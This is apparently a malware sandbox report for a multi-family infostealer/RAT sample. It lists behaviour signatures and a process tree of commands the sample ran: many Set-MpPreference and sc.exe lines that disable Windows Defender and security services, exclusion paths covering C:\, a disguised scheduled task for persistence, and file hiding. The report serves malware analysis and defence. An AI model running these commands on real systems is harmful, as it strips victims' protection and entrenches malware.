Overview

overview

10

Static

static

10

2026-08-03...om.exe

windows10-2004-x64

10

2026-08-03...om.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    75s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 11:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  • Size 22.5MB
  • Sample260803-m9arbaxtfx
  • SHA256 584799d09b0dc9f15f7334f3ea264b5008fb40ca95f6441dbfd6766d18c2092a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 16 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 59 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
    defense_evasion
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 54 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Creates a file in the Startup directory
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4116
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5904
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:2004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyAccess $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6072
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisablePrivacyAccess $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:4772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:4352
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:4192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:3488
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
          • Suspicious behavior: EnumeratesProcesses
          PID:5868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -MAPSReporting 0""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5008
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:5244
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:480
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:5336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config wscsvc start= disabled"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2424
        • C:\Windows\system32\sc.exe
          sc config wscsvc start= disabled
          4⤵
          • Launches sc.exe
          PID:2612
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop wscsvc"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4584
        • C:\Windows\system32\sc.exe
          sc stop wscsvc
          4⤵
          • Launches sc.exe
          PID:5824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4764
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4592
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1812
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:6004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4944
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5236
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1260
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3188
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3852
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3968
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdateService_PEXWEVZA" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe" /sc onstart /rl highest /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3420
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsUpdateService_PEXWEVZA" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe" /sc onstart /rl highest /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5884
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Windows\system32\attrib.exe
          attrib +h "C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
          4⤵
          • Views/modifies file attributes
          PID:408
  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:5552
    • C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      C:\Users\Admin\AppData\Local\Temp\2026-08-03_bb7bf96d4c32bd1f5276e188d2bfec18_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:2788
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5644
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:2092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:6128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true""
        3⤵
        • Executes a command shell one-liner
        PID:4160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:2980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyAccess $true""
        3⤵
        • Executes a command shell one-liner
        PID:464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisablePrivacyAccess $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4616
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true""
        3⤵
        • Executes a command shell one-liner
        PID:5972
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:124
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true""
        3⤵
        • Executes a command shell one-liner
        PID:1360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:4180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true""
        3⤵
        • Executes a command shell one-liner
        PID:4784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:2880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true""
        3⤵
        • Executes a command shell one-liner
        PID:3096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:2332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2""
        3⤵
        • Executes a command shell one-liner
        PID:5316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
          PID:2756
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -MAPSReporting 0""
        3⤵
        • Executes a command shell one-liner
        PID:4172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2932
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Executes a command shell one-liner
        PID:5208
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:5868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Executes a command shell one-liner
        PID:3992
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:3140
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config wscsvc start= disabled"
        3⤵
        • Executes a command shell one-liner
        PID:3508
        • C:\Windows\system32\sc.exe
          sc config wscsvc start= disabled
          4⤵
          • Launches sc.exe
          PID:5308
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop wscsvc"
        3⤵
        • Executes a command shell one-liner
        PID:3308
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          4⤵
            PID:6128
          • C:\Windows\system32\sc.exe
            sc stop wscsvc
            4⤵
            • Launches sc.exe
            PID:5764
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
          3⤵
          • Executes a command shell one-liner
          PID:4948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2216
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'""
          3⤵
          • Executes a command shell one-liner
          PID:1064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5752
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
          3⤵
          • Executes a command shell one-liner
          PID:3408
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2548
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
          3⤵
          • Executes a command shell one-liner
          PID:5612
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3304
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'""
          3⤵
          • Executes a command shell one-liner
          PID:3484
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5732
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
          3⤵
          • Executes a command shell one-liner
          PID:5412
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2352
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'""
          3⤵
          • Executes a command shell one-liner
          PID:4200
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2700
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
          3⤵
          • Executes a command shell one-liner
          PID:3780
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2064
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'""
          3⤵
          • Executes a command shell one-liner
          PID:3552
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2500
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
          3⤵
          • Executes a command shell one-liner
          PID:4820
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3964
        • C:\Windows\system32\cmd.exe
